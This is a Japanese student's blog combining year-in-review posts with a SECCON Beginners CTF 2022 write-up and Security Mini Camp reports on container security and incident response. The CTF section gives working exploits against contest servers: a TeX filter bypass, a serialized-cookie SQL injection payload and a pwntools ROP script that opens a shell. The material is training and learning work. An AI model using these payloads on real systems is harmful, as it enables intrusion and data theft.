2022年12月31日土曜日

2022年を振り返って

こんにちは、みれんくです。

今年も去年に引続き振り返りをやっていきますが、邪智暴虐な某青いSNSに過去の記録を剥奪されてしまったため、9月以前のツイート郡はありません。予めご了承ください。(イーロン許して)

1月

 卒論をしていたらしい、もう遠い昔に思える。

この頃はボルテのVFが16.384とか書いてあってひっくり返った、うまくなったなあ(しみじみ)

2月

卒論をシメた(今年ってマジ???)(2回目)。プチ卒業旅行に行くなどもした。良い想い出。

ボルテは16.666(+0.282)くらいでした。ここで18にちらほらクリアが付き始めました。

あとラズパイをイジイジしていました。4GPiをArch Linuxで使うためパッケージ周りを整備したりした。

Archの自前リポジトリ鯖ってどういう風に立てればいいんすかね?それかAURに出しちゃうのが楽なのかな。

3月

大学卒業!やったぞ!

ボルテはアルジェントに到達、VFは17.067(+0.401)でした。 

あとXiaomi Pad 5をいじってたっぽい。やれてねえ〜〜〜

4月

大学院生になりました。また、新任の教授が2人入ってきました。

また、キラッと☆プリチャンの視聴を開始しました。

「やってみなくちゃわからない、わからなかったらやってみよう」

153話かけて説かれたこの言葉にこの一年は支えられました。ありがとう、プリチャン………

そのプリチャンの影響で行ったのは以下の通りです。

  • ノートPCのOSをArch Linuxにした
  • WMをSwayにした
  • メインのエディタをNeovimにした
  • SecHack365に応募した

今ではVimのキーバインドなしでは介護が必要なレベルになった(ホントか?)ので、成長?を感じます。

ボルテはVF17.165(+0.098)でした。

5月

キラッと☆プリチャン、履修完了…

観てない人は早く観たほうがいいよ、153話観切ると自信も付くし、なにより濃厚なおにゃのこの関係がみれるよ(ダイマ)

冗長化しながらプリパラも見始めました。最初はプリチャンに比べて女児アニメかな?と思っていましたが、話を重ねるにつれてドハマり、らぁらママに母性を感じるように成長いたしました。

中旬頃に腰を破壊し、病院にいったりもしました。結局物理的には異常が見当たらず、痛み止め等のみ貰えました。ちょくちょく痛むんですけど、なんなんすかね、これ?

この月にはSecHack365の合格発表が夜中に届き、夜寝られなくなったのをよく覚えています。

ボルテはVF17.191(+0.026)でした。

6月

CTF for Begginersにチームで参加しました!当時のWriteUpはこちら

去年はソロ参加でしたが、チームで出来てよい経験になりました。

SecHack365の第一回イベントデーもありました。

第一回、確かなんかしらの発表をするときに、簡単に作ったGDBの拡張とプリチャンのことを話したんですけど、思ったより聞きに来ていただけました。やはり「やってみなくちゃわからない」なんすよネェ〜〜〜

あと、らしくない「ビジネスモデル」を勉強しました。技術書と違って図がビジュアル寄りで眩しかった。眩しいものは自分の光が消されるので苦しい。(社会性フィルター)

ただ、人に使ってもらうようなプロダクトを作っていくとき、そのプロダクトの噛み砕き・整理整頓には使えそうだなと感じました。

ボルテはVF17.220(+0.029)でした。

7月

 

それはそう

自分が持っているもので、どう貢献して、何を得るのかが大事だと思います。それを他人とすり合わせていい感じのラインを探って実装していくのが社会ワネ。うまく行っている人はそうやってると思う。



 

来年の抱負です。

 

SecHack365のオフライン回がありました。

END

ボルテはVF17.230(+0.010)でした。

8月

アイドルタイム含むプリパラ、履修完了…

この月はあんまし記憶がない…

ボルテはVF17.254(+0.024)でした。

9月

当時のツイート群 

はじめてのドキドキ思い出して

何もかも輝いて無敵にだってなれた

これからもどんな未来が来ても

想い出は胸の中

キラキラきらめいているよ

いつまでもずっと 𝒫𝓇𝒾𝓅𝒶𝓇𝒶 𝒟𝓇ℯ𝒶𝓂…

 

Twitterアカウントが消えました。

経緯としては重いシャドウバン→気づいた一日後に永久凍結です。重いシャドウバンに気づいたときに喚きツイートしていたら凍結したので、あまり触らないようにするはマジかもです。

ブログも日々のこともTwitter頼りだったので、かなり痛い損失でした。情報は分散させましょう。

データ貰っているけど、生JSON(+諸々)なので見返しやすいようにするもの作ったりしたいかも。

ボルテはVF17.291(+0.037)でした。

10月

当時のツイート群 

このあたりから苦しい。 苦しすぎて獄激辛Finalを夜食で食べるなどの愚行をした。

痛みは生存本能を呼び覚ますのでおすすめです。嘘ですやめたほういいです。

技術的なことでは、ちょこちょこ書いていたCコンパイラでハローワールドを達成しました。


約1年、輪読用に資料も作りながらよく続けられたと思います。迷える羊の会のみんな、ℒℴ𝓋ℯ…

アニメは少女歌劇☆レヴュースタァライトを履修…夢に野球…後に記憶喪失… 

ボルテはVF17.390(+0.099)でした。

11月

当時のツイート群

就活の早期選考が始まりました。エントリーシートとかいうのを初めて書いて、キャリアに持っていったらめっちゃボコられました。

SecHack365のオフライン会がありました。この回は前回の反省を活かし、前泊を行いました。ありがとうございます、NICT……

このオフライン会はポスター発表だったのですが、いろんな方に見てもらい、催しも楽しかったです。詳しくは全部終わってから書きたいと思っています。

研究の方でもポスター発表があり、この月はポスターを二枚作成しました、すごいね。

アニメはプリンセス・プリンシパルを履修完了しました…

ボルテはVF17.472(+0.082)でした。 また、後光剛力羅になりました。ここまで1年。

12月

当時のツイート群 

雪が降り始め、気持ちの終了……

というのは半分冗談で、今年で一番苦しかったかもしれないです。YouTubeで精神科医の動画観とった(かのぺろ)

就活は、早期選考の機会をくださった企業様から内々定を頂きました。ありがたいことです。

研究では、自分の研究がわからんになった(n度目)ので、後輩君のを手伝いました。その際、TypeScriptでの開発を体験しました。 

自分は環境整備(nodeのDocker環境、GitHub Actionsでの自動テスト・ビルド)を行いました。nodeでの開発はまっっっったくやったことがなかったですが、様々なモジュールがYarn(npm)で入ってサクサクできるんやな〜とめちゃくちゃ感心しました。

GitHub Actionsもなんでもできるやん!になりました。AWSとかと組み合わせたら自動デプロイできて楽しそうね〜な気持ちも生えました。なるか、キラキラに…

アニメはサイレントでlainを視聴しておりました。相手の自分像は相手のものという考えはしたこともなかったので、たしかになあになりました。

あとプリンセス・プリンシパル Crown Handlerを履修しました。

ボルテはVF17.527(+0.055)でした。

まとめ

一年経って成長はした気がするけど、なんとも言えない感じがしていたのですが、やることがめちゃくちゃとっちらかっているからですね。

来年の抱負

来年は今年の反省を活かし、整理整頓した行動を心がけたいです。

生活面

  • 目的→行動→評価を常に意識して生活する
  • 粒度細かく消化する
  • 8割丁寧な生活をする
  • 自分を受け入れて生きる

技術面

  • アウトプットを定期的に行う(記事も何らかの作品もやりたい)
  • 研究に本気(マジ)になる
  • 余力があれば技術バイトやる

娯楽面 

  • ボルテあるちを夏までに取る
  • VFは18にする
  • アニメを定期的に観る、アイカツは履修したい


2022年6月5日日曜日

SECCON Beginners CTF 2022 WriteUp

ブログに書いておけば見返しやすいよねの気持ちで書いてます。あくまで1解答例でもっとエレガントな解き方はあると思います!!!!!

Web

textex

TeXをpdfにしてくれるWebアプリの問題。

verbatiminputを使って…/…/flagを読み込ませます。ファイル位置は同梱のソースで見つけました。

しかし、入力時にflagが""に置換されてしまうので、適当な関数を作って、TeXでの処理時にflagとなるようにしてあげました。

\documentclass{article}
\usepackage{verbatim}
\def \g{g}
\begin{document}

\verbatiminput{../../fla\g}

\end{document}

gallery

ファイルを拡張子毎に見れるWebアプリの問題。

URLパラメータで拡張子を指定できますが、ここに"lag"等入れるとflagのファイルが見えます。(flagや.だとサニタライズされます)

しかし、ファイルサイズが10240以上の場合、ファイルサイズ分の?が返ってきてしまうので、HTTPのRange Requestを使います。これを利用することで10240未満となって正常なものが取得でき、それを結合することでフラグを得られました。

curl -r 範囲指定(0-499)みたいな感じで行えます。ちなみにレスポンスコードは206です。

curl -r 0-10239 https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf >> flag.pdf
curl -r 10240-16085 https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf >> flag.pdf

serial

ユーザ登録してToDoを登録・完了させるといったWebアプリの問題。

最初はToDo登録あたりに脆弱性があるかと思いきやそんなことはありませんでした。"Beginners"?

同梱のソースを眺めると、丁寧にもfindUserByName()にインジェクションの可能性があると書いてありました。やさしい。

その関数を利用しているのはsignup.phpとuser.phpです。しかし、signup側ではUNION等の文字が入っていたら弾くため、フォームに入力だとうまくいかないことがわかり、user.phpの方からだとわかりました。

user.phpではlogin()に脆弱性のあるfindUserByName()が使われており、その動作は

Cookie(__CRED)をbase64でデコード→デシリアライズしてUserオブジェクトにする→そのオブジェクトのレコード探して取ってくる(findUserByName())→二つのpassword_hashを比較し、合っていたら新しいCookieに更新

と行われていました。そこで、

SELECT id, name, password_hash FROM users WHERE name = 'aaa' AND '1'='2' UNION SELECT 1234, body, 'a' FROM flags WHERE '1'='1' LIMIT 1;

のようなSQL文を組み立てるために、

O:4:"User":3:{s:2:"id";s:4:"1740";s:4:"name";s:67:"aaa' AND '1'='2' UNION SELECT 12, body, 'a' FROM flags WHERE '1'='1";s:13:"password_hash";s:1:"a";}

のようなものを__CREDに入れGET /を叩き、帰ってきた__CREDをデコードすることでフラグを得られました。

Pwn

 ROP問だけ解けました。CTF自体久しぶりで思い出しながらやりました。Heap問も解けるようになりたいね…

raindrop

ローカルのスタックが見れるプログラムの問題。

初見で「bofすればいいのは分かるけど、libc記載ないしdynamic linkで中にフラグ見る関数もねえじゃん!?"easy"????無理では~?」となりましたが、よくよくコードを読んだらhelp()でsystem関数を使っており、rdiに文字列を入れ、そのアドレスに行けばいいことがわかりました。

自分はbufの先頭の/bin/shを入れ、その後にpop rdi;ret;のアドレス、bufのアドレス、call systemのアドレスと組みました。bufのアドレスはsaved rbp - 0x20なので、一回目のprint_stack()で値を得て、計算し、payloadを組むみたいな手法でやりました。

from pwn import *
from time import sleep

rhp ={'host': "raindrop.quals.beginners.seccon.jp", 'port': "9001"}

def attack(conn):
    cmd = "/bin/sh"
    rop = 0x401453
    sys = 0x4011e5
    conn.recvuntil('000002 | ')

    rbp_addr = int(conn.recv(18).decode('utf-8'), 16)
    print(format(rbp_addr, '#016x'))

    buf_addr = rbp_addr - 0x20

    conn.recvuntil('Did you understand?')
    sleep(1)
    payload = cmd.encode('utf-8') + ((0x10 - len(cmd)) * b'\x00')
    payload += p64(rbp_addr)
    payload += p64(rop)
    payload += p64(buf_addr)
    payload += p64(sys)
    print(payload)
    print(format(len(payload), '#016x'))
    conn.send(payload)
    #conn.recvuntil('finish')
    #print(conn.recvline())

if __name__ == "__main__":
    conn = remote(rhp['host'], rhp['port'])
    attack(conn)
    conn.interactive()

困ったことはROPGadget見つけるのにちょっと手間取りました。前環境を破壊していたのでツールを入れてなかった…(時間がかかった理由1)

さらに、取り組みが夜からだったので、若干頭が回らない中解いていたので、buf_addrの計算ガバをして、一生悩んでました…()

snowdrop

raindropと同様な感じの問題。

違うのはsystem関数を使ったhelp()が消えたところで、bofの脆弱性は健在だったので、同じようなアプローチを取ればいいとわかりました。

その後、fileコマンドでstaticを確認し、ret2syscallゲーだと把握しました。

参考サイト(https://ctftime.org/writeup/26223)のアドレス、ROPGadgetをちょっと変えるだけでフラグが得られました。CTF定期的に解いて、似たような問題はスクリプトちょっと変えるだけで対応できるようになっておきたいね~の気持ちになりました。

あとがき

 

思っていたより高順位で、チームすごい!ってなりました。あと協力して1問解いたり、雑談しながら解けるのも楽しかったです。

あと問題についてですが、やってないのもありますが、easyでもPwn難しくなっていってるなと感じました。置いていかれないようにしたいものです…



2021年12月31日金曜日

2021年を振り返って

こんにちは、みれんくです。

今年はいろいろあり、まとめておいた方が振り返りやすくてGOODではと思い、大晦日の15:22から書いています(遅い)。

来年はめんどくさがりと見通しの甘さを克服したいです。

1月

当時のツイート群

5iiのROMやカーネルを弄ったり、金を使う生活を行ったりしてたっぽいです。

ツイートはしてないけどごちうさ三期も終わり、労働(飲食店のバイトです)も激化していて、本格的にやめることを考え始めていました。

てか確認したら今と比べてえげつないタスクをこなしていてビビる(土日は労働により潰れる、平日夜もランダムでシフトが入る中課題をこなしながら趣味もやってる)、お前本当に俺…?

2月

当時のツイート群

この月は何回か研究室に顔を出し、PCの環境構築等を行っていました。 

また、他のことでは引き続き5iiを弄ったり、スキルアップのためにPwn本読んだりリンカローダの本読んだりしてました。春休み入ったからってえらすぎる…

また、この月で労働をやめる決意をし、その旨を伝えました。吹雪の中散歩して将来のこととか整理しながらこれからのムーブを練ったことを今でも覚えています。多分ヤバかったと思う。

3月

当時のツイート群

呪!オンゲキプラチナレート達成!

祝!ボルテ魔騎士達成!

オンゲキR.E.D.が終わる前にとあわてて取りました。ゲーセン帰りに友人を見逃すくらいには呪っていました。達成時に疲れからかRakuten miniを落として割ってしまうこともしました。多分ヤバかったと思う。

ボルテはいままでの壁が嘘のように達成しました。ここら辺から音ゲーにどぶってますね。

また、今までドライバモジュールをモジュールじゃなくすると起動しなかった5iiのカーネルが起動し、LTO/CFIも解決して、今のchinomofu_kernel_edoができたのもこの月です。アプデしないとですね…

4月

当時のツイート群

呪!オンゲキごちうさランイベ55位

ウン万溶かしました。

ちなみにこの月の労働は12連勤などしました。

5月

当時のツイート群

2年働いていた労働をやめ、無職になりました。

また、研究の方針も固まりはじめ、ちょこちょこコードを書き始めました(のちに全没にします)。Web系技術のことはさっぱりわからんだったので教科書を借りてサンプルを実際に手を動かし作る等から始めました。一年を通して、このときよりかは知見が深まっていると感じます。

あと、CTF4bにも参加しました。特に成績が良かったなどはありませんでしたが、以前と比べてWeb問に対応できたのと、Heap問がもう少しで解けそうだったのが印象に残っています。

6月

当時のツイート群

音ゲーやってたくらいですかね…

一応何かしないとという危機感はあったっぽいです。そこから動けないのは課題ですね。

7月

当時のツイート群

形式上の大学院入試(面接のみ)がありました。先輩方は別に難しいことはないとおっしゃっていたので前日にカンペ作って臨みましたが、ひどい有様でした。次面接あるっていうときには入念な準備が必要だなと感じました…

また、8月の学会発表(軽いもの)への準備をやっていました。

8月

当時のツイート群

祝!ボルテ剛力羅達成!

BoF回に合格しました。

また、この月は学会発表、数日のインターンがありました。どちらも軽いものとはいえ、両立していたのでえらいと思います。

あと、この月に今まで作っていたシステムを全破壊し、一から作り直しました。以下の本が構築し直す際、考え方の整理によかったです。誤字等が目立つのが少し残念ですが…

9月

当時のツイート群

オンゲキの虹レートを目指し始めました。 

また、こっそりセキュリティ・ミニキャンプに申し込みました。この行動のおかげでいろんな人に出会えたり、知見が広がったので今年一番のムーブといってもいいかもしれません。

ミニキャンプの記事は別記事でまとめましたので、興味があればご覧ください。

10月

当時のツイート群

呪!オンゲキ達成!

また、ミニキャンプが始まりました。陰キャなので最初の方はびくびく受けてました。

11月

当時のツイート群

12月

当時のツイート群

まとめ

振り返ると後半のだらけ具合がすごいことを認識したので、来年は技術と研究にもう少し熱を注ぎたいです。

来年もどうぞよろしくお願いいたします。



セキュリティ・ミニキャンプオンライン2021 参加記 ~内容編5:コンテナとその実行基盤を取り巻くセキュリティの基礎と実践~

ミニキャンプオンライン2021「ファイルシステムについて仕組みを知ろう」の募集課題、事前課題、講義、修了試験についての記事です。

他講義リンク

 

コンテナとその実行基盤を取り巻くセキュリティの基礎と実践

コンテナオーケストレーションの基礎と、それのセキュリティ対策についての演習を行った講義でした。

コンテナを利用する際の対策を学んだとともに、本講義で初めてKubernetesを利用し、便利で楽しそうなため自分でも何か使ってみたいなと思いました。

しかし、コンテナオーケストレーションが有効なのはノードがたくさんある場合なので、そんなお金はないからしばらくはないかな~って感じです…誰か俺にスパチャしてくれ

募集課題

コンテナ型仮想化技術やコンテナオーケストレーションツールがシステム構築・運用に与えた影響と、それらの環境において懸念されるセキュリティ上の脅威を一つ取り上げて、その原因や影響、対策等について論じるといった問題です。ミニキャンプオンライン概要ページ(https://www.security-camp.or.jp/minicamp/online2021.html)募集要項の問題5にあたります。

自分はこの課題を提出していませんが、書いていたとしたら

  • コンテナ型仮想化技術の利点として、OSにソフトウェアを直接インストールするより、ソフトウェア間の依存関係を保つことが容易なため、構築が行いやすい。
  • コンテナオーケストレーションツールによって、システム構築後のスケーリングや冗長化が簡単になった
  • 利用するコンテナイメージに悪意のあるコードが含まれている可能性がある。対策としては公式が提供するもののみを利用することがあげられる

らへんをまとめていたと思います。

募集時にはセキュリティ上の脅威はこれとコンテナブレイクアウトくらいしか知りませんでしたが、のちの講義(3章が当たります)を受け、思っていたよりコンテナの扱いには気を遣う必要があるのだなと感じました。

事前課題 

Docker、Kubernetes、Open Policy Agent/Regoについての基礎知識をつけるため、実際にコマンドを打って動作を確認したり、ポリシーを記述したりしました。自分は卒業研究の方でDocker、Docker Composeを利用していたため、DockerとKubernetesは扱いやすかったです。

Rego言語についてですが、ポリシーの記述用なので順次実行とは違った考えが必要なところが少し難しかったです(以下の講義スライド78ページなど)。また、公式ドキュメント(https://www.openpolicyagent.org/docs/latest/)も充実しており、テスト用にPlayground(https://play.openpolicyagent.org/)もあるので、実際に定義を行うときはこれらを利用すればなんとかなりそうだとも思いました。

講義

こちらの講義は資料が上がっているため、是非確認してみてください。

初めにコンテナ型仮想化やコンテナオーケストレーションの基礎を学び、後半ではTrivyを使ってコンテナイメージに含まれる脆弱性を調べてそれへの対応を考えたり、ポリシー定義をしてデプロイ前に防がれるのを確認する実習をしました。今回はTrivyの実習について書こうと思います。

Trivyの実習

講義資料の76ページが該当します。資料の通りコンテナの脆弱性を見つけるだけでなく、「対応方法」を考える必要がありました。以下が自分の書いた内容となっています。

ここで重要だったのが、Trivyで脆弱性を調査すると重大な脆弱性が複数表示されたりしますが、「コンテナの利用法」を考えて対応を考えることです。自分が見つけた脆弱性もそうですが、コンテナをMySQLとしてのみ使えば脅威は低いです。この実習で行った脆弱性の調査でも「サイバー攻撃対応入門」のIDSアラートを調査した際と同じような「経験や慣れ」が必要そうと思いました。

また、脆弱性をなくすにはバージョンを上げる等の対応が考えられますが、開発側の事情で更新が難しいといったこともあります。したがって、いろんな事情を考慮した対応方法を考えることが大事だと学びました。

修了試験

仕様に沿うGateKeeper用のポリシーを記述するという問題でした。仕様が

  • 検査対象のマニフェストはPod
  • Podに含まれるコンテナのイメージの指定においてダイジェスト(SHA-256ハッシュ値)が利用されていない場合にリクエストを拒否
  • ダイジェストに対応するイメージが存在するかは問わないが、SHA-256の書式には則っていなければならない

というものです。

自分はこの問題に取り組む時間がありませんでした…最後には大ヒントが出ていて、「ダイジェストを判定する正規表現を書け」という問題になっていたため、ちょっと後悔が残りました。

まず、正規表現以外のポリシーについて考えると、講義資料83、84ページを参考にすることで


package example
violation[{"msg": msg}] {
  c := input.review.object.spec.containers[_]
  # ここで正規表現を使い判定
  msg := "ダイジェストが利用されていないコンテナイメージがあります"
}
  

と書くことができます。イメージ名は「input.review.object.spec.containers[_].image」で参照できるため、c.imageでイメージ名を調べることができます。

Regoでの正規表現は「re_match」関数で行え、マッチした際にtrueを返すので、SHA-256の書式にマッチする正規表現を書き、NOTを取れば答えとなります。

肝心の正規表現ですが、イメージ名が

  • イメージ名のみ
  • タグ付き(<イメージ名>:<タグ名>)
  • SHA-256ハッシュ値(<イメージ名>@sha256:<ハッシュ値>)

のいずれかを取り、下のみを通すものを作らなければなりません。

イメージ名は1文字以上の任意の文字を取るので、「.+」で表せます。

ハッシュ値は256ビットの値=64桁の16進数で表されるため、[a-f0-9]{64}で表されます。

したがって、これらを組み合わせた

.+@sha256:[a-f0-9]{64}

が答えとなります。ポリシーは


package example
violation[{"msg": msg}] {
  c := input.review.object.spec.containers[_]
  # ここで正規表現を使い判定
  not re_match(".+@sha256:[a-f0-9]{64}", c.image)
  msg := "ダイジェストが利用されていないコンテナイメージがあります"
}
  

となります。

ここまで解いて、大ヒント出てから取り掛かれば間に合ったかもな…と思いました。時間配分等も考えられるようにならないとですね。おしまい。



セキュリティ・ミニキャンプオンライン2021 参加記 ~内容編4:Linuxシステムプログラミング入門:コンテナ技術を支える名前空間~

ミニキャンプオンライン2021「サイバー攻撃対応 入門」の募集課題、事前課題、講義、修了試験についての記事です。

他講義リンク

 

Linuxシステムプログラミング入門:コンテナ技術を支える名前空間

Linuxのシステムコールを駆使して、ミニコンテナを自作する講義でした。

個人的にこの講義が一番楽しみでした。理由としてMagisk(Androidのroot化するやつです)で名前空間が利用されていて、他のアプリからrootを隠せた(今はありません)んですけど、これの仕組みをちゃんと学びたかったというのがあります。

一時は個人で調べて情報を見つけられませんでしたが、本講義のお陰で学ぶことが出来ました。また、システムコールをあれこれするのも楽しかったので、個人的に遊んだり、泥開発に活かせないかな〜と考えております。

また、こちらの講義関連物は以下で公開されているため、ぜひ確認してみてください。本当に丁寧に解説されています。そのためぼくがここにかくことがない

https://2021.mc.harro.ws/ 

募集課題

「標準入力から実行ファイルのパスを受け取り、その実行ファイルを実行するのを繰り返す」というプログラムを作成する問題でした。ミニキャンプオンライン概要ページ(https://www.security-camp.or.jp/minicamp/online2021.html)募集要項の問題4にあたります。

自分はexeclp()関数とfork()関数を利用し作成しました。作成したコードは以下です。

躓いた点としては、初めに軽く調べて動作はしてくれるプログラムができたのですが、waitpid()の箇所が適切ではなく、プロセスが大量生成されてしまうということがありました。

事前課題 

一番初めに記述したページの「事前課題」が当たります。ここでは、演習課題について書いていこうと思います。

#4.2 演習:LinuxでのC言語の基礎

実際に提出したコードが以下です。

 講評では、「正しく動くコードだけど、tmpstrの型がちょっとよくない」(意訳)とのコメントを頂きました。この時はポインタのconstの扱いがわからなかったので…

 ポインタのconstの扱いは、文字列ポインタを例にすると

  • const char*:ポインタが指すデータ変更不可、ポインタ変更可
  • char* const:ポインタが指すデータ変更可、ポインタ変更不可
  • const char* const:ポインタが指すデータも、ポインタも変更不可 

となっているのが調べて分かりました。したがって、tmpstrはconst char*型にするのがよさそうです。 


#4 演習:ファイルを実行してその結果を取得する関数

実際に提出したコードが以下です。

こちらの講評は「waitpid()関数の使い方を自力で調べ、read()前にstatusをチェックしているところがいいね!dup2は子プロセスでやるといいかもね」(意訳&うろ覚え)と頂きました。

waitpid()はhttps://linuxjm.osdn.jp/html/LDP_man-pages/man2/wait.2.htmlを参考にしました。

dup2についてなのですが、このコードを書く前にDiscordで「複数の値を渡したいなら構造体を使うといい」的な話がされており、ということは「作問時に構造体の利用を考慮していおらず、使わないやり方が存在する…?」と謎の考察をしてこのコードに至りました。

動きとしては、 63行目で標準出力のディスクリプタを複製します。次に、64行目で標準出力のディスクリプタをパイプに置き換え、その後子プロセス実行を行います。clone()が実行された後、親プロセスは70行目に進むため、標準出力を63行目で複製したディスクリプタに置き換えます。複製されたディスクリプタは複製前と同じファイルにアクセスできるので、結果的に標準出力が元に戻るということです。

講義の繋がりを考えると構造体を使って子プロセスにパイプを渡し、子プロセスのみ標準出力を書き換えた方が良かったです。参考にしないでください。

講義

実際にミニコンテナを作成しました。事前課題で作成したprint_string()関数はUIDマップの書き出し、execute_binary()関数はそのまま実行ファイルの実行に利用しました。この講義は他の講義に比べ、より課題と講義が繋がっており、「これがあの課題の伏線回収か…」と気持ちよかったです。

しかし、即興でコードを書くことに慣れていなかった私は、指定された時間に演習を完了できなかった場所がありました。これを通して、この演習以外でも競プロやCTFで重要となるであろう「即興コーディング力」は鍛えないとなと感じました。

修了試験

問題サーバにログインし、フラグを探すという問題でした。なお、スクショは後撮りです。

当時書いたコードは直接競技サーバで作業していましたし、残っていたとしてもフラグ取るためだけの汚いコードなので、今回はどんな作業をしたかのみ記録します。

この問題は一番初めに解き始めました。一番最初に公開されたので…

ログインをするとREADMEがあり、それによると「/try_running_meを実行してね、unshareでググるといいかも」とのこと。

とりあえず権限の確認と、実行を行ってみると

とのことで、実行権限しかなく、お家芸であるstringsコマンドで調べることができないため、素直に従うことにしました。かなしいね。

シェルで実行している限り、第0引数は自身の実行パス(/try_running_me)が入ってしまうため、講義で扱ったexecve()関数の引数を変えたプログラムを書けばいいのだなと思いつきました。

しかしリモート環境でコード書けるのか…?それともunshareというものを理解しないとなのか…?と恐る恐るnanoとシェルに打ち込んでみたらあっさり立ちあがりました。 よかった。

また、ここで自分は空文字列ではなくNULLを渡すものと勘違いしてしまいちょっと躓きました。文章を読め。

あとはコンパイルして実行、フラグくるか!?と思ったら


はい。

とのことで、ここでunshareかな?と思い調べました。しかし、自分はunshareを「Cのコード内で使う」という固定概念で調べていました。したがって「よく分からないし時間ないし修了試験CTF中にあたらしいことやる?」となり、「fakerootになればいいんだろうから、UIDマップ書いてあげる講義のコード使いまわせばいいじゃん」とunshareの謎を残して作業しました。

そして後者の方針で無事フラグをゲットしましたが、

  • unshare使ってないがこれでよかったのか…?(別解として想定済み)
  • 想定外解答でリモートサーバ壊したりしてないよな…?(別解として想定ry)
  • もしや失格…?(別解としてry)
と不安になりながら終わりました。

 

その後、解説にて「unshare"コマンド"を使うと簡単に解けます」と実演され、"コマンド"かあ~となったのと、めっちゃ簡単に解けちゃうじゃん…となりました。おしまい。



セキュリティ・ミニキャンプオンライン2021 参加記 ~内容編3:サイバー攻撃対応 入門~

ミニキャンプオンライン2021「サイバー攻撃対応 入門」の募集課題、事前課題、講義、修了試験についての記事です。

他講義リンク

 

サイバー攻撃対応 入門

攻撃者のことから学び、演習で様々なログを追って攻撃シナリオを整理するという講義でした。

講義タイトルでは想像出来なかった面白い内容(ぼくの頭が弱いだけかも)で、一つ一つの証拠から攻撃者の動きが見えたときは気持ちよかったです………

募集課題

pcapファイルが渡され、「人がWebアクセスした際に発生したと考えられる通信のクライアントが使用しているTCPポート番号」を答える問題でした。ミニキャンプオンライン概要ページ(https://www.security-camp.or.jp/minicamp/online2021.html)募集要項の問題3にあたります。

pcapをWiresharkで開き、HTTPのフィルタをかけたところ、大量のcurlからのGETリクエストが送られているのを観測できました。curlを使い、同様のリクエストを人が送るとは考えづらいため、それ以外のパケットを探しました。

すると、cssやjsの200番が返っているのが見え、その前のGETリクエストを調べたところ、Firefoxからのものが見え、これのポート番号(42400)を解答として出しました。

…と出した当時はこれでええべだったんですけど、最近Discordでこの件が触れられていて、「UAは偽装できるため、その点に触れられているものに加点している」とのことで、無事満点は逃していそうです。俺よく選考通ったな。

また、他の方の解答だと、ポート番号の範囲がLinuxのエフェメラルポートの範囲であるという点とUAがLinuxという点で偽装とは考えづらい、という考察をしていらっしゃる方がいて、とても論理的な解答だ…と感動しました。みんなすごい…

事前課題 

Linuxコマンドを使ったログ解析と、Wiresharkを利用したログ解析を行いました。

前者では主に

  • catコマンド:ファイルを標準出力に出力
  • cutコマンド:区切り文字を指定し、要素を取り出して出力
  • grepコマンド:文字列検索
  • sortコマンド:ソート
  • uniqコマンド:重複している行を削除
  • wcコマンド:行数をカウント 

をパイプで組み合わせて「○○の回数」や「○○のTOP10」を調べるといった課題を行いました。

後者はWiresharkのフィルタや統計機能、TCPストリームなどの基本的な使い方を学べました。

事前課題全体を通して、ログ解析に利用するツールに慣れることができました。

講義

初めに書いた通り、まず初めに攻撃者のことについて学びました。

攻撃者には、そもそも攻撃者が「なぜ」攻撃を行うのかという目的が存在し、その目的を達成するために「いつ、どこで、何を狙うか」という対象があり、最後にその対象に対しての手法が存在します。

サイバー攻撃に対応するためには、手法を知ることが最も重要です。そのため、次に実際にどのような流れで攻撃が行われるかについて学びました。

サイバー攻撃の流れをモデル化したものがいくつか提唱されており、

等があり、今回はUnified Kill Chainに沿って実際にどのようなツールが使われ、どのようなことが行われているかを知りました。 

このモデルでは大きく「初期侵入」「ネットワーク内伝搬」「目的実行」と分かれています。

初期侵入がよくCTF等で触れる部分(?)で、標的の情報収集であったり実際の攻撃を行ってシェル操作をできるようにするといったところを指します。攻撃が成功した後、シェルを操作するためにWeb上で任意のコマンドを実行できるようにWebシェルを置いたり、標的サーバから自前のサーバへコネクションを張って操作できるようにするリバースシェルという方法があることを知りました。

初期侵入が成功した後は内部の探索や認証情報窃取、他のシステムへの水平移動が行われてしまうとのことです。その後は目的実行と移り、情報収集が行われ持ち出されてしまいます。

サイバー攻撃を防ぐにはいかに初期侵入を防ぐことが大事と感じたとともに、万が一攻撃を受けてしまったらネットワークからの切り離し等の迅速な対応が必要だなとより感じました。

その後、様々なログ等から攻撃者がどのような動きをしたのかを時系列で整理するといったことをしました。演習の詳細を書きたいところですが、事情により内容公開がNGなので、扱ったことのみ書きます。問題があったら消えます…

扱ったのはIDSアラートログ、SSHイベントログ、Webアクセスログの3種類のログファイルと、パケットキャプチャファイル、ディスクイメージです。ログで大まかな攻撃者の行動を掴み、残り二つで詳細な調査を行いました。

IDSアラートではSuricataのアラート管理ツールのEveboxを使用しました。フィルタやソート等が直感的に扱えて便利でしたが、IDSのアラートは先ほど説明した「標的の情報収集」での通信でも上がってしまうのと、危険度が低いと表示されていても、実際には攻撃が成功してしまっていることもあったため、ここの調査は経験と慣れが必要そうだと感じました。

SSHとWebアクセスのログ調査では、事前課題でやったことがそのまま生きたため進めやすかったです。

修了試験

pcapファイルが渡され、その中からフラグを探す問題でした。最初はこれだけ与えられてノーヒントでした。"ミニ"キャンプ?

その後、ヒントとして

  • どのWebアプリが攻撃されているかを調べてみようね、一番最初のHTTP通信でわかるよ
  • 文字列のデコードはCyberChef(https://gchq.github.io/CyberChef/)が便利だよ

と頂きました。

自分はこの問題をこのヒントが出てから解き始めました。そのためあまり詰まることなく解くことができました。

実際に問題のpcapファイルを開き、一番最初の通信を見ると

とのことで、Drupalの7.54が使われていることがわかります。

そこで、このソフトウェアの脆弱性について調べると、CVE-2018-7600というリモートからの任意コード実行の脆弱性があることが分かりました。したがってその後のパケットに攻撃コードがありそうということで探索を再開しました。

Drupalを知らないため詳しいことは言えませんが、PoCコードによると、パスワードリセットフォームをよろしくないものにして、Ajaxのファイルアップロードでコマンドが実行されてしまうらしいです。当時はそこまで調べる余裕がなく、怪しいパケットを人力で見つけました。

怪しいパケットのコマンドを見ると、

となっていて、base64でcreate.phpの中身が記述されていそうなことがわかりました。

実際にデコードすると、


 と、受け付けた文字列をROT13→base64の順で戻して実行しているようです。なのでここでcreate.phpのPOSTをCyberChefで戻して調べ始めました。

すると…



と、暗号化されたflag.txtが192.168.180.163の1337ポートを利用して送信されていることがわかりました。正直もうここでフラグ出るかな~って思っていたので凝ってるなと思いました。"ミニ"キャンプ?
